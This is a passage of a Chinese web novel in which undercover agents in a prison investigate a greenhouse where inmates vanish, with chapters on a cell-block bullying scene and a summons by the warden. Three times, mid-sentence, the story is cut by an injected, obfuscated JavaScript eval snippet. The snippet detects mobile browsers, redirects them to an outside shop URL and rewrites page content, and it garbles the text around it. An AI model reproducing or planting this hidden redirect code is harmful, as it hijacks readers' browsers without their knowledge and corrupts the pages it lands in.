因为这里离温室最近。 她一边干活,一边观察周围的环境。处理区在监狱的后半部分,和温室只隔着一道高墙。墙上开了几扇小窗,但都关着,看不见里面。 偶尔有穿着白色防护服的人从那道门进出,手里拿着箱子,行色匆匆。 “新来的。” 一个声音在耳边响起。容贤转头,看到一个三十多岁的女人不知什么时候站在了她身边。这女人长得很普通,但眼神很活,滴溜溜地转着。 “我叫阿莲。”她自来熟地凑过来,“你叫白容对吧?昨晚的事,我听说了。” 容贤看着她,没说话。 阿莲也不在意,压低声音:“烟烟姐让我给你带句话,别打那扇门的主意。那是禁区,进去了就出不来。” 容贤心里一动,面上依旧平静:“什么禁区?我不知道,你大概找错人了。” “和我装傻是不,找的就是你。”阿莲左右看看,凑得更近:“那边,是温室。里面种的东西,你别问,也别打听。每个月都有人被带进去,出来的时候……”她顿了顿,没往下说。 “出来的时候怎么了?”容贤明知故问。 阿莲摇头:“没有‘出来的时候’。进去的人,没回来过。” 容贤知道她没在骗她,出自于善意的提醒? 她不知道。 她问,“为什么告诉我这些?” 阿莲笑了笑:“烟烟姐说你这人看着顺眼,让我关照你一下。”她拍拍容贤的胳膊,“好好干活,别惹事。在这地方,活着比什么都强。” 她说完,转身走了。 容贤低下头,继续干活。但脑子里一直在转。 六年前,她在这里的时候,没有烟烟姐,也没有这么忌讳消失。 当时每个进入监狱的人都会被告知自己的使命。 罪大恶极的罪犯用自己的身躯填补源河的裂缝,成功赎罪。 这是双方都喜闻乐见的。 看来这六年,变了很多事。 中午吃饭的时候,容贤又看到了烟烟姐。 她坐在食堂角落,身边围着几个女人,正在低声说着什么。其中一个,容贤认出是昨晚在值班室喝茶的狱警。 狱警和囚犯坐在一起吃饭? 容贤多看了两眼,收回目光。 向开颜端着餐盘坐过来,压低声音:“看到了吗?” 容贤点头。 “那个烟烟姐不简单。”向开颜夹了一筷子菜,装作若无其事的样子,“刚才我问了几个老人,都说她是女监的‘话事人’。狱警都要给她几分面子。” “她什么罪名?” “故意伤害。”向开颜说,“谁也不知道她什么时候来的,等大家注意到她,她就已经成现在这样了。” 容贤想起昨晚烟烟姐说的话,“有些人,有些事,碰了会死。” 她在警告自己。 也是在试探自己。 “下午继续观察。”容贤说,“我需要确认一件事。” 她们不能坐一起太久,很快就分开坐下。 下午,容贤被调到了另一个工作小组,清洗区。 这里离温室更近,只有一墙之隔。她能听到墙那边传来的声音,机器的嗡鸣,人的说话声,偶尔还有尖锐的、像是金属摩擦的刺响。 她一边清洗废料,一边竖起耳朵听。 “……这批不行,活性太低了……” “……换一批,三号温室的……” “……吴局长那边催得紧,快点……” 容贤的手顿了顿,又继续洗。 吴局长。吴家的人。 她想起赵随石说过的话,源河监狱背后站的是吴家,吴家如今的话事人是吴霞,大植物学家,继承上代人的对异花的技术知识,也是恢复温室的主导者。 她在中心区就听说过吴霞的名字。那是一个很低调的人,很少公开露面,但在学术界和政界都有很深的影响力。 还真是吴家啊…… 容贤没有继续想下去。 她只需要证据。 * 与此同时,男监那边。 赵随石也在观察。 他坐在工作区的角落里,手里拿着一把螺丝刀,正在拆卸一台报废的机器。这活儿枯燥,倒是挺自由,他慢了快了都没人管他,因为所有人都知道他是个“重刑犯”,不好惹。 他的目光不时扫过远处的一扇门。 那扇门通向监狱的深处。每隔一段时间,就会有几个穿着白色防护服的人从里面出来,或者进去。他们推着车,车上装着箱子,箱子上贴着标签。 赵随石看不清标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黑哥点点头,似乎对这个解释很满意:“难怪。”他又喝了一口茶,“那你应该知道,这地方和别处不一样。” 赵随石看着他,等他继续说。 黑哥压低声音:“这里关的人,分两种。一种是真正犯了罪的,一种是……”他顿了顿,“被‘选上’的。” “选上?” “对。”黑哥说,“每个月都会有人被带走,说是‘表现好,可以减刑’。但其实,他们去了哪儿,没人知道。”他指了指后方的方向,“那边,温室。进去的人,没出来过。” 赵随石沉默了一会儿,问:“你见过被带走的人吗?” 黑哥摇头:“没有。但他们走之前,都会来和我告别。”他苦笑了一下,“你知道他们说什么吗?他们说,‘黑哥,我可能要走了,你保重。’然后他们就走了,再也没回来。” 赵随石看着他,想从他脸上看出真假。但黑哥的表情很复杂,有恐惧,有无力,也有一种深藏的痛苦。 “你在这里待了多久?”赵随石问。 “六年。”黑哥说,“六年里,我见过几十个人被带走。有的我认识,有的我不认识。但每一个,都再也没回来。” 他抬起头,看向赵随石:“我不知道他们在那边经历了什么,但我知道,那不是减刑。” 赵随石沉默。 黑哥忽然凑近他,压低声音:“如果你有机会出去,帮我带句话。” 不知道他这句话和多少人说过,赵随石心里微动,问,“什么话?” “告诉外面的人。”黑哥一字一句地说,“源河监狱,不是监狱。是工厂。” 一个不算秘密的秘密。赵随石看着他,点了点头。 * 与此同时,女监那边。 容贤躺在床板上,睁着眼睛看着天花板。 今晚没有月光,屋里很暗。但她不需要光,她只需要想。 阿莲的话,烟烟姐的警告,白天的观察,还有那些隐约听到的对话……所有线索拼在一起,指向同一个方向。 本该填补缺口的犯人同时也在温室里被用来进行某种实验。 实验品吗。 她闭上眼睛,努力回忆六年前的事。 那时候她只有十一岁,很多事都不懂。但她记得,父母偶尔会提起“后面”的事,说那里有“重要的东西”,说“不能让那些人发现”。 那时候她不懂“那些人”是谁。 现在她懂了。 是吴家的人。 之前她被困在局中,被人推着往前走,不知吴家,不知源河监狱诞生的意义,也不知父母背负着什么,这一次她回来了,就不会轻易离开了。 小小的窗外,她看到月亮从云层后露出来。 她看不到那月光落在了高墙后面的温室上,那巨大的棚顶在月光下泛着淡淡的微光,像波光粼粼的湖泊,那宁静的湖下十分深冷,将月光收拢,直至吞没。 33. 禁闭室 容贤从女囚的闲聊中得知男监那边发生了大事。 说是有个新来的年轻人长的清秀,犯得事不大,判了两年,表现好的话就申请减刑,一年就可以出狱了,但偏偏被几个人盯上了,欺负了一段时间,在食堂吃饭的时候,年轻人忍无可忍,和对方打起来了。 “一旁拉架的不小心用筷子捅到欺负人的脖子上了,当场死亡。” “当时在场的都牵连进来了,十几个人通通给关禁闭。” “那个拉架的人是谁啊,那么猛?!” “说是叫胡浩,就是因杀人进来了。” 嘘,不要说了,烟烟姐不让我们多说…… 容贤和不远处的向开颜对视一眼,赵随石那边开始行动了。 这事和女监没什么关系,但监狱长发了话,要女狱警们好好管理女囚,不可出现斗殴暴力的事,所以容贤连着听了三天的道德思想。 这三天她也没闲着,她一直和烟烟姐表面上维持着友好关系,其他人看在她乖巧可人的份上,也给她几分好脸色看。 烟烟姐说到做到,她没有和其他人透露容贤半夜离床的事,但她每每看向容贤的眼睛里,平静下总是带着三分审视,四分警惕。 容贤想通过接近她得知温室的消息已经成为不可能。在意识到这件事后,她果断换一条跑。 女囚之间的矛盾虽没男囚那么明显激烈,但也并非没有。 人是群居动物,当强大的领头要公开讨厌某个不服从她的人时,服从者就会为了表衷心,用更酷烈的手段去伤害那个不服从的人。 容贤的宿舍就上演了这么一场服从性训练。 被排挤的人是那个曾背对她睡觉的年轻女性。 她被其他人围起来,用指甲掐着她的脸,不知道从哪来找来的剪刀,正对着她本就短的头发划来划去,说着好长啊,我给你修一修,别抖,我好人做好事,别给脸不要脸啊。 主导此事的就是容贤进来当天第一个和她搭话的女人。 她面带笑意,坐在窗户前,轻声细语的说,“阿黛,之前教你该怎么做,忘了吗?” 这会没人催她了,都在笑嘻嘻的看着她。 阿黛蹲了下来,双腿跪地,然后慢慢的往前爬。 当她爬到女人的腿边,双手被允许放在腿上,女人抚摸着她的头,“阿黛,恭喜你,你做到了呢。” 看起来不是一次两次,容贤注意到她隐忍的表情。 其他人欢呼起来,“姐姐,让阿黛和我们玩吧。” 这个所谓的玩,就是扒光了阿黛的衣服,让她忍着羞耻轻吻她人的脚背,到了向开颜这边,阿黛头低低的,就要亲下去,被避开后,呆了一下。 向开颜眼底一片寒意,手紧紧握着,容贤知道她快忍不住了。 容贤摁住她的手,微微用力。 注意到这一幕的女人,似非似笑,“阿黛,回来吧,她人不懂你,只有在我这里,你才不会受到伤害。” 阿黛乖乖的伏在她腿上,像一只受到挫折的猫在求安慰。 她也如愿得到了对方的安慰,她的手是那么温暖,她幸福的落下泪来。 容贤正襟危坐,她斟酌再三,“琴姐,你们这样是错误的。” 态度是谦逊的,说出的话却让人不喜。被成为琴姐的女人眼底闪过一丝阴狠,面上倒是一派和气,“是吗?我竟不知在你眼里是这样的。” 她解释道:“我想你误会我了,这是阿黛主动要求的,你也看到了,她是个很胆小的人,这也少了很多礼貌,她深知这是不对的,这才向我求助,让我帮她纠正。” 容贤问阿黛,“是这样的吗?” 阿黛笑的点点头,一点也看不出方才的勉强。 其他人也纷纷开口,"对啊对啊,你在怀疑姐姐吗?" “阿黛是我们的朋友,我们要一起帮助她纠正错误!” 容贤一个个看过去,得出一个不怎么意外的答案,她们都是真心觉得自己是对的。 也对,只有扭曲认知才会没有罪恶感的活着。 “白容,阿黛需要帮助,你也会帮她的吧,还有你身边那位小姐,好像叫包……” “包欣欣。”向开颜没忘记自己要做什么,她嫌恶的看着她们,“我可没你们这么变态,你们连我这个杀人犯还不如,我知道自己在做什么,至于你们—”她环视一周,冷哼一声,“作恶都这么不坦荡。” 她朝跪地的阿黛傲然道,“如果你真如她们说的那般,可真没意思,没意思透了。” 维护琴姐的几个人围了上来,就要抓她的头发,尖利的声音要把耳膜刺破,“你胡说八道什么!快道歉!” 向开颜一巴掌打过去,狠狠拍下她们的手,“说不过就动手是吧?” 她往中间一站,大刺刺的叉腰,“来啊,正好老娘不爽,拿你们几个出出气。” 容贤没动,她观察着琴姐,而琴姐也在观察她。 白容,包欣欣,琴姐皱眉,她们不对劲。 她就要让其他人退后,可她出声晚了。 她们吵起来了。 这囚牢就是关人的,根本没考虑过隔音,房间的声音一大,其他房的人都听到了。 就像是一切都被设计好了一般。 其他人看热闹,狱警反应慢了一步,包欣欣脾气火爆,别人说不过她就要打她,打完狱警才拿着电棒冲进来。 上面正要严惩闹事的,她们这个房就是活生生的靶子,狱警要拿她们杀鸡儆猴。 连她一个没参与的也被关了禁闭。 她朝白容看去。 只见白容无声说,谢谢。 她瞬间瞪大眼睛! 禁闭室比普通牢房更冷,更暗,也更安静。 容贤靠坐在墙角,闭着眼睛,听着隔壁传来的动静。左边是向开颜,她正在小声咒骂那些狱警,声音压得很低,但足够让容贤听清。 不同于其他活动区域的男女分开,禁闭室离得倒是很近,她的右边隔着一间空房,再过去就是严回春他们,男监那边的“闹事者”也被关在这里。 一切都按照计划进行。 但容贤心里清楚,没有完美的计划,只有不可控的人心。赌琴姐会上钩,赌烟烟姐不会出手干预,赌监狱长会借机生事。 她成了一个赌徒。 此刻她最怕的,就是这些人会半途离场不玩。 走廊尽头传来脚步声,很重,是军靴踩在水泥地上的声音。容贤睁开眼睛。 脚步声在她门前停住。 “0178号,出来。”声音凶厉。 容贤站起来,走到门边。铁门打开,两个狱警站在外面,面无表情。其中一个手里拿着电棍,有一下没一下地敲着掌心。 不给她反应的机会,推了她一把,扬了扬下巴,“跟我走。” 容贤已经达到目的,此刻不会给自己找麻烦,温顺如羊。乖乖的跟上他们。 穿过昏暗的走廊,上了一层楼梯,又穿过一道又一道的铁门,最后停在一扇紧闭的门前。门一旁的牌子刻着三个字:狱长室。 其中一个狱警敲了敲门,里面传来一个低沉的男声:“进来。” 门开了,容贤看到了里面的布置,然后,她被狱警拽了进去。 “大人,0178号带到。” “嗯,在门口守着。” “是!” 监狱的办公室是容贤见过最单调的,没有之一。 办公桌后面坐着一个五十多岁的男人,有着硬朗的眉眼,看起来很正直。 他穿着深灰色的制服,肩上没有军衔标志。 他就是吴御。 源河监狱的现任监狱长,吴家的人。 他面前摆着一份文件,正低着头看。容贤站了三分钟,他才抬起头,目光落在她身上。 “0178号,白容。”他的声音没什么起伏,像在念一份报告,“偷盗罪,涉案金额八十万,判五年。进来一周,就和同室发生冲突,被关禁闭。”他顿了顿,合上文件,“你挺能惹事。” 容贤没有说话。 吴御语气漠然,目光充满审视。 像在打量一件待估的商品的眼神,容贤轻微的皱了一下眉。 “知道我为什么叫你来吗?” “不知道。” “因为你不对劲。”吴御站起身,绕过办公桌,走到她面前。他比她高一个头,居高临下地看着她,“你进来那天,我就注意到你了。你走路的方式,你看人的眼神,你站在那里的姿态……都不像小偷。” “或许你应该多认识几个小偷,看看他们是怎么做的。” 容贤心里一紧,面上依旧平静:“我不懂你在说什么。” “你当然懂。”吴御绕着她走了一圈,声音慢悠悠的,“但你也可以继续装。没关系,我有的是时间。” 他走回办公桌后面,重新坐下,拿起桌上的一个文件夹,翻开。 “白容,二十四岁,七区人,父母早亡,十五岁开始混社会,做过服务员、保洁、搬运工,三年前开始偷盗,手法干净,从不留证据,直到最后一次失手。”他抬起头,“这履历编得不错,很完整。但问题就在这里——太完整了。” 容贤看着他,等他继续说。 吴御把文件夹往桌上一扔,靠在椅背上:“给你做身份的人很了解底层人,但他忽略了真正的底层人生活不值得记录,他们的档案应该是稀碎的,东一笔西一笔,很多查不到。你这个却精致的多,每个时间段都记下来,花了不少功夫吧。”他最后露出一丝赞扬,“做到这一步也不错。” 他笑了一声,“只是,你们中心区那些人也太不把我们这些小地方当回事了。就你们这漏洞百出的身份,能混进来,你觉得是因为什么?” 容贤的心跳漏了一拍,面上始终平静。 “我不知道你在说什么。”她重复了一遍。 吴御看着她,一切都好似掌握之中,玩味道:“嘴硬是好事,我就喜欢嘴硬的人。但你要知道,在这地方,嘴硬的人最后都会变软。给你一个机会。告诉我你是谁的人,我可以给你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319911|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条活路。” 他说的是真是假,容贤不知道,所以她沉默。 吴御没等到她的答案,转过身,脸上的笑容已经消失,只剩下冰冷的藐视。 “行。那我们就按规矩来。”他走回桌边,按了一下桌上的呼叫器,“进来。” 门开了,那两个狱警又走进来。 “带她回去。”吴御说,“顺便告诉下面的人,这几个新来的‘刺头’,好好‘关照’。” 狱警应了一声,架起容贤就往外走。 走到门口,容贤忽然停下,“你刚才说,给我一个机会。”她黑白分明的眼睛清澈见底,“那我也给你一个机会。” 吴御挑眉,似乎有些意外。 容贤继续说:“你查到的那些东西,太表面了。真正的秘密,不在档案里。”她顿了顿,目光直视着他,“你就不想知道,为什么我会出现在这里吗?” 吴御盯着她,眼神变得锐利。 容贤没有再说什么,转身跟着狱警走了。 门关上,房间里陷入沉默。 吴御站在原地,看着那扇门,眉头渐渐皱起。 她最后那句话,是什么意思? * 女监宿舍闹事带来的后果比烟烟姐想象的还要大,这让她警醒。 她正在和琴姐对峙。 “你知道你在做什么吗?”烟烟姐的声音很轻,但那种压迫感比吼叫更可怕。 琴姐站在她面前,脸色发白,但依旧强撑着:“我只是教训一下新人,烟姐,这是规矩……” “规矩?什么时候轮到你和我说规矩?”烟烟姐打断她,嘴角扯出一个没有温度的笑,“我定的规矩是让你把人训得跟狗似的那种?让她们狗咬狗,不惜死人也要讨好你这主人是不是很高兴?” 不是这样的……琴姐张了张嘴,说不出话来。 烟烟姐站起身,走到她面前。她比琴姐矮半个头,但琴姐却不由自主地往后退了一步。 “那两个新人,我打过招呼,让她们老实待着。”烟烟姐的声音依旧很轻,“你倒好,非得给她们理由闹。男监刚出了事,上面要严查乱象,其他人都晓得收敛,就你往枪口上撞。” “我……我不知道……” “你不知道?”烟烟姐笑了一声,“那你不知道的事可真多。你知道她们为什么进来吗?你知道她们背后是谁吗?你知道今天这一出,是谁在看着吗?” 琴姐脸色灰白。 烟烟姐凑近她,压低声音:“我告诉你,今天这事,上面有人盯着。你那个牢房里闹得那么欢,你以为只是巧合?” 琴姐挺直的腰弯了下去。 烟烟姐退后一步,看着她,半是讥讽半是怜悯道:“你太蠢了。被人当枪使了还不知道。” 不会的,这么蠢不是她,绝对不是……琴姐嘴唇颤抖… 烟烟姐叹了口气,摆摆手:“回去吧。这几天老实点,别再惹事。” 她这句话就是要给她兜住了。琴姐如蒙大赦,转身快步走了。 那两个新人,确实不对劲,不仅是她们,监狱长的反应也不寻常。 吴御从来不是一个有耐心的人。他今天把那个叫白容的单独叫去,一定不只是为了问话。 他定是知道一些她不知道的事。 如果连他都掺合进来了,这里会变成什么样? * 禁闭室里,容贤被推回原来的位置。 “别耍花招!” 铁门关上,世界又陷入黑暗。 她靠坐在墙角,闭上眼睛,开始复盘刚才的对话。 吴御一直在试图炸她。 他知道中心区来人了。但不确定是谁,不确定来了多少人,更不确定他们想干什么。 她最后那句暗示的话也是在赌。 赌他会上钩,赌他会好奇,赌他会想从她嘴里挖出更多东西。 只要他想,她就有机会。 走廊里传来轻微的脚步声,然后停在她右边的牢房门口。那是关着严回春的地方。 “喂。”严回春的声音压得很低,“你那边怎么样?” 容贤靠近铁门,用气声回答:“监狱长发现了。他知道有人混进来了。” 严回春沉默了两秒,然后骂了一句脏话。 “赵哥那边呢?” “不知道。”容贤说,“但我们得加快。” 严回春“嗯”了一声,没有再说话。 容贤退回墙角,继续想。 吴御说,中心区的人太不把他们这些小地方当回事了。这句话所含的信息量很大。他从出身就赢在了起跑线上,又接管了源河监狱,他应该很自豪才对,可他却有怨气,有不甘。 他这个吴家人和中心区之间的关系,没有看上去那么简单。 她想起赵随石说过的话,吴家如今的话事人是吴霞,大植物学家,继承上代人的对异花的技术知识,也是恢复温室的主导者。她和中心区那些权贵关系密切,但也不完全是一路人。 也许,这就是突破口。 34. 毒苹果 容贤两天没有看到日出日落,应该是被人特殊关照,将本就小的窗封住。 直到禁闭室的门再次打开,她的眼睛被来自外面的光亮刺了一下。 这次来的不是狱警,是烟烟姐。 她站在门口,手里拎着一个食盒,阴影中的侧脸显得沉静。 “出来吧。”她说,“你们可以回去了。” 你们?容贤站起身,走上前。烟烟姐看着她,神色复杂,似是有很多话想对她说。 最后她说,“监狱长发了话,这次的事既往不咎。”顿了顿,“但你们也别高兴太早。从明天开始,所有犯人要参加一场‘选拔’。” 容贤心里一动:“什么选拔?” 烟烟姐看着她,忽然笑了一下,“确实是我看走了眼,你只是来了几天,却发生了这么多事。” 她语焉不详,留了句,“优胜者,可以进温室工作。” 容贤疑惑很真实:“为什么?” “因为监狱长想看看,谁才是真正‘有用’的人。”烟烟姐的声音很轻,“他说了,温室需要人手,但不要废物。所以,他要选。” 容贤看着她,等她继续说。 烟烟姐却没有再多说,只是把食盒塞给她:“吃吧。明天见。” 她转身走了。 容贤站在原地,看着她的背影消失在走廊尽头。 选拔。 进温室。 她在赌,吴御也在赌,他不信她的话,但又舍不得放弃,于是他决定刺激一下这一潭死水的水。 钓鱼啊……他想把那些“不对劲”的人钓出来,然后一网打尽。 只有这次机会了。 只要进了温室,就能拿到证据。 只要拿到证据,就能揭开真相。 容贤握紧了手里的食盒,她要去找向开颜,去找严回春,去找赵随石。 烟烟姐带来的消息像一块石头压在心上。 向开颜走在她前面,脚步稳稳当当,像是什么都没发生过。 容贤知道她的身体已经到极度疲惫的程度,禁闭室这个地方会让人身心紧绷到极致。 对一个习惯掌控自己身体的人来说,这滋味很不好受,但她们都没有说话,只是沉默地穿过走廊,回到女监。 一路上,气氛不对。 那些平时禁闭的宿舍门都打开,里面会三三两两聚在一起闲聊的女囚,今天都安静地站在角落里,目光在她们身上扫过,又很快移开。 有人在低声交谈,声音压得很低,听不清内容,但那压抑的嗡嗡声比尖叫更让人不安。 “烟姐在等你。”阿莲不知从哪儿冒出来,凑到容贤身边,声音压得极低,“老地方。” 容贤点了点头,没有回头。 烟烟姐的牢房比上次更暗。窗帘拉得严严实实,只有桌上点着一盏小灯,昏黄的光落在她脸上,勾勒出深重的阴影。 “坐。”她指了指对面的位置。 容贤坐下。 烟烟姐看着她,沉默了很久,才开口:“你看起来一点也不害怕。” “不是的,我在害怕。”容贤严谨的说。 “是吗?”烟烟姐轻笑了声,“你觉得选拔赛怎么样?” “陷阱。” “你倒是直接。”她露出一丝不悦。 “没必要绕弯子。”容贤看着她,“你叫我来,也不是为了听我绕弯子。” 烟烟姐揉了揉手腕,“你说得对。我叫你来,是因为我需要知道,你是谁的人。” 容贤没有回答。 烟烟姐也不急,只是靠回椅背,慢条斯理道:“监狱长想把你们这些‘不对劲’的人钓出来,一网打尽。但他忘了,这地方不是他一个人的。” 她开始回忆,“六年前那场爆炸之后,这里就变了。有些人死了,有些人升了,还有些人……活了下来,但不再是以前的样子。” 容贤顺着问,“你是说那场爆炸?” “你知道那场爆炸?”烟烟姐看着她,警惕多过惊讶。 “听说过。”容贤说,“据说死了很多人。” 烟烟姐点了点头:“死了很多人。但活下来的,也不全是吴御的人。”她站起来,左右踱步,她两只手握来握去,“有一群人,当时只是不起眼的狱警,非正式的,连编制都没有。爆炸之后,他们活了下来,但没有人注意到他们。他们知道一些事,也替一些人守着一些秘密。” 容贤等她继续说。 烟烟姐转过身,看着她:“他们不完全听吴御的。他们背后,另有其人。” “谁?” 这是不可回答的,烟烟姐虽然没有直说,但她的神态已经表明了。她猛的转头看她,目光灼灼:“你知道这些就够了。重要的是,这次选拔,他们也不赞成,但他们没办法,吴御是监狱长,他是赋予权力之人,所有人必须服从。” 容贤神情镇定,没有被她说的给吓到,而是问,“你告诉我这些,是想让我做什么?” 烟烟姐像是听到了一个笑话,哈哈大笑起来,她再次开口,带着威吓的意味,“不管你是谁,来自哪里,都和我无关,我只是告诉了你这潭水有多深。”她走回桌边,重新坐下,“至于你会不会溺死,那是你的事。” 容贤心里涌起一丝古怪来。这个女人,明明在帮她,却从来不承认。明明知道她有问题,却从来不揭穿。 她到底是谁的人? * 男监那边,赵随石也在见一个人。 黑哥的牢房比上次还要乱,床上成了垃圾场,放着乱七八糟的东西,他坐在床上半躺着,脸色不太好,像是几天没睡。 “你来了。”他看了赵随石一眼,“坐。” 赵随石犹豫,时间久了,黑哥说:“那是新的。” 他这才在他对面坐下,就听到黑哥说,“监狱长要搞个选拔赛,我就直说了,就是为你们这些‘不对劲’的人搞的。” “我不认为。”赵随石摇头。 这就差把我有问题写在脑门上了,黑哥呵呵两声,“你们倒是一个比一个直接,说起来,你知道这破地方,是什么时候变成这样的吗?” 赵随石就等他这句,从善如流,“什么时候?” “六年前。”黑哥说,“那场爆炸之后。” 他靠在墙上,目光变得遥远:“爆炸之前,这里虽然也是监狱,但至少还有个规矩。爆炸之后,一切都不一样了。吴御上来了,温室建起来了,那些不该出现在这里的人,也出现了。” 他顿了顿,看向赵随石:“你知道那些被带走的人,去了哪儿吗?” 不用赵随石回答,黑哥已经自顾自的往下说了,“温室。他们进了温室,就再也没出来过。”他苦笑了一下,“说是‘表现好,可以减刑’,其实就是去送死。我不知道里面在干什么,但我知道,那不是好事。” 赵随石看着他,问:“你不想改变吗?” 黑哥愣了一下,然后摇了摇头:“不想。也不能。这地方,谁动谁死。” 赵随石笑的如沐春风,“如果我告诉你,有人想动呢?” 他完全没有掩饰,迎着黑哥审视的目光继续说:“如果我告诉你,我们这些人,就是来动的呢?” 黑哥本来是想迂回一下,谁知道这年轻人这么猛,他就是不想知道也知道了,“果然不是普通人。” 赵随石不可置否。 黑哥锤了锤床架子,叮铃晃荡的,一些灰尘落了下来,赵随石微微往后倒了倒。 黑哥没注意到这些,“我不管你们是谁,也不管你们想干什么。但有一条,别把我的人卷进去。” 他是恳切的,赵随石无论如何都不能拒绝。 他点了头。 * 当天晚上,容贤和赵随石在一个隐蔽的地方碰了面。 这是他们进监狱以来第一次单独见面,也是容贤第二次见到了赵随石狼狈的模样。 她比赵随石想象的还要放松,他能出来见容贤,也是从建筑底下薄弱的土坑爬出来,身上衣服已经看不出原本的颜色。 容贤朝他笑了笑,本能的靠了上去,伸手拍了拍他衣服上的泥巴。 赵随石想摸一摸她的头,看手上也沾上了土,只好放下来,暗暗搓了搓手指。 头顶上只有远处瞭望塔上的探照灯偶尔扫过,他们所在的地方是安全的。 “烟烟姐那边怎么说?”赵随石问。 容贤把烟烟姐的话转述了一遍,然后说:“有一群幸存者,非正式的狱警,知道真相,但不完全听吴御的。他们背后另有其人。” 赵随石点了点头:“黑哥那边也一样。六年前那场爆炸之后,这里就变了。他和烟烟,都是那之后来的。” 容贤沉默了几秒,然后说:“我还知道一件事。” “什么?” “六年前的监狱,不是这样的。”容贤的声音很轻,像是在回忆,“那时候能进来的,都是和异花有关的重犯,罪大恶极,无可救药。他们本来就是会死的,被送进源河防线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328394|195618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 填补缺口,最后家人收到一笔抚恤金,说是‘无上光荣’。” 她顿了顿,继续说:“那时候没有人觉得不对。因为他们确实该死。” 赵随石看着她,等她继续说。 “但现在不一样了。”容贤说,“现在进来的,什么人都有。偷盗的,诈骗的,过失杀人的……有些根本不应该关在这种地方。但他们被关进来了,然后被送进温室,再也没出来。” 容贤深吸一口气,说出了那句压在心底的话:“他们在用人做花肥。异花喝干他们的血,然后被送往中心区,送往那些有钱有势的地方。” 赵随石已经想到了。 可真的听到后,还是会不寒而栗,他声音有些沙哑:“你确定?” “我闻过那股味道。”容贤说,“和福利院地下室的一模一样。” 赵随石没有再问。他抬起头,看向远处那巨大的温室棚顶。那本该是造福世界的温室,如今也成了噬人的怪物。 “所以,吴御背后的人,不只是吴家。”他肯定道,“还有中心区的人。那些需要异花的人。” “是的。” 赵随石的真实情绪很少外露,可在容贤面前,他倒是肆无忌惮的发出几分恶意的笑。 “哈!你知道这意味着什么吗?” 容贤点头:“意味着我们不只是要对付吴御,还要对付他背后那些人。” “不止。”赵随石说,“意味着我们得让这里所有人知道真相。让那些被蒙蔽的犯人知道,他们不是来改造的,是来送死的。” 容贤看着他,等他说下去。 赵随石深吸一口气,开始分析:“现在的情况是,吴御想用选拔把我们钓出来。我们必须踩进去,因为这是目前唯一的机会。但踩进去之前,我们要做几件事。” “第一,争取黑哥和烟烟姐。他们不赞成这次选拔,也不完全听吴御的。如果他们能站在我们这边,至少一半的犯人不会成为障碍。” “第二,找到那些六年前爆炸案的幸存者。他们知道真相,也替一些人守着秘密。如果他们能开口,我们就能知道吴御背后到底是谁。” “第三…”他冰凉的手指点了点容贤的额头,“就要拜托你了,你的任务最重,要带犯人强攻温室。制造混乱,吸引火力。我带其他人潜入取证。” 容贤捂住额头,愣了一下:“我?” “你最熟悉这里。”赵随石说,“而且,你有一种能让那些犯人相信的能力。因为你说的,都是真的。” 容贤不再犹豫,“好。” 赵随石往后退了步,平视她:“害怕吗?” “不怕。”容贤只会觉得兴奋。 “你啊……”赵随石转身,看向远处的温室,声音低缓,“没有万无一失的计划,我们在暗处,他们也同样。无论会遇到什么,我们都必须要赢。” 失败的代价,他们都承受不起。 容贤站在他身后,也看向那个方向。 那个怪兽还在沉睡,但它很快就会睁开眼睛。 而她,将亲手把它撕碎。 …… 第二天,选拔的消息正式公布了。 所有犯人都被召集到操场上,听吴御讲话。他站在高台上,穿着一丝不苟的制服,脸上带着公式化的笑容,声音通过扩音器传遍整个广场。 “……为了奖励表现优异的犯人,监狱决定开放温室工作岗位。只要通过选拔,就有机会进入温室工作,享受更好的待遇,更短刑期……” 他的声音平稳而有力,像是真的在给大家一个机会。 容贤站在人群里,听着那些无耻的话只觉得恶心。 身边的女囚们开始窃窃私语,有人兴奋,有人期待,也有人犹豫。容贤能感觉到,有些目光落在自己身上,是烟烟姐的人,也是那些幸存者。 她微微侧过头,看到向开颜站在不远处,正对着她点了点头。 再看男监那边,赵随石站在人群最后面,低着头,像是在思考什么。严回春和杨理火一左一右,把他挡在中间。 高台上,吴御还在说话。他的声音富有感染力,像是融了糖浆的蜂蜜,一点一点渗透进每一个犯人的心里。 “……报名从明天开始,名额有限,先到先得……” 容贤收回目光,低下头,跟着人群慢慢散去。 她知道,从这一刻起,一场充满阴谋的游戏开始了。 吴御扔出了他的毒苹果。 接受或不接受,都是致命的危险。 35. 理由 在吴御离场,操场上的人散开,向开颜走到容贤面前,她咳嗽一声,故意放大自己的声音,她说:“你要参加吗?这听起来不错,你本来就判了五年,如果获胜,表现优良,你应该很快就可以出去了!” 这是个再寻常不过的话,引起大家注意的是容贤接下来的话。 容贤不屑的说:“这样的话我八岁就不会相信了,也就只有傻子会信吧。我一个没来多久的人都能看出来有问题,更别说那些呆了很长时间的老人了。” 